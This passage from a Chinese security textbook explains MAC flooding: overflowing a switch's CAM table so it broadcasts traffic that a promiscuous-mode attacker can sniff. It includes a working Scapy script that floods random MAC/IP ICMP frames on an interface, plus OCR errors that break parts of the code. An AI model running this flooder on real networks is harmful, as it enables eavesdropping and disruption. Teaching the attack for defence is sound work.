图9-14 集线器应用原理
数据链路层中拒绝服务攻击的方式一般很少为人所熟知。数据链路层拒绝服 务攻击的主要目标为二层交换机。在早期网络中,通常都会使用集线器作为中间 处理设备。集线器属于纯硬件网络底层设备,没有任何“ 智能记忆” 能力和“学
习” 能力,也不具备交换机所具有的MAC地址表,所以集线器发送数据时都是没 有针对性的,而是采用广播的方式发送。也就是说当集线器要向某节点发送数据 时,不是直接把数据发送到目的节点,而是把数据包发送到与集线器相连的所有 节点,如图9-14所示。
当计算机1想要和计算机2通信时,首先计算机1将数据包发给集线器,由集 线器负责转发,但是当集线器不清楚哪个接口连接到了计算机2时,便会用广播 的方式向其他计算机发送数据包,此时如果网络中计算机设置为混杂模式,同样 也会接收到计算机2发送的数据。
交换机相比集线器而言,增加了“ 智能记忆” 能力和“学习” 能力,这两个功能 主要是通过交换机中的CAM表来实现的,这张表中保存了交换机中的每个接口所 连接计算机的MAC地址。
图9-15 交换机应用原理
在应用交换机的局域网环境中,如图9-15所示,计算机1想要和计算机3通
信,会先将数据包发送到交换机上,由交换机提取接收到数据包的MAC地址,并 查询CAM表。如果在CAM表中检索到了对应的MAC地址信息,就将数据包发送 到查询到的MAC地址所对应的接口。如果没有查询到,再将数据包发往所有接口 相连接的主机。交换机的这项功能保证了局域网中交换机发送的数据包是以单播 形式传送的。但是CAM表是有一定限制的,在短时间内收到大量不同的源MAC 地址数据包时,CAM可能因为瞬间无法处理而溢出。溢出之后再次接收到的数据 包就会覆盖前面的条目,导致正常的数据包无法找到正确的对应关系,只能将数 据包广播出去,路由器的“ 智能记忆” 能力和“学习” 能力失效。此时攻击者只需要 在自己的计算机上将网卡设置为混杂模式,就能监听整个网络的数据。
综上所述,数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地 址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成
集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去,此时若 攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据 了。下面通过Python脚本分析这一功能。
1)构造随机的MAC地址和IP ,此处主要是利用Scapy自带的库函数 RandMAC() 和RandIP() ,如下代码是生成随机的MAC地址:
from scapy .all import * import time while(1) : packet=Ether(src=RandMAC(),dst=RandMAC()) time .sleep(1) print(packet.summary()) |
执行结果如下所示: |
2)当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机 查询CAM ,若不存在该信息,就会不断进行记录。短时间内,大量请求会导致 CAM被填满,失去交换机原有的功能。下面以ICMP数据包为例:
|
from scapy .all import *
import optparse
def attack(interface) :
pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=Rand IP(),dst=Rand IP())/ ICMP()
sendp(pkt,iface=interface)
def main() :
parser=optparse .OptionParser("%prog "+"-i interface")
parser .add_option( '-i ',dest= 'interface ',default= 'eth0 ',type= 'string ', help= 'Interface ')
(options,args)=parser .parse_args()
interface=options .interface
try:
while True:
attack(interface)
except Keyboard Interrupt :
print( '------------- ')
print( 'Finished! ')
if __name__== '__main__ ' :
main()
执行结果如下所示: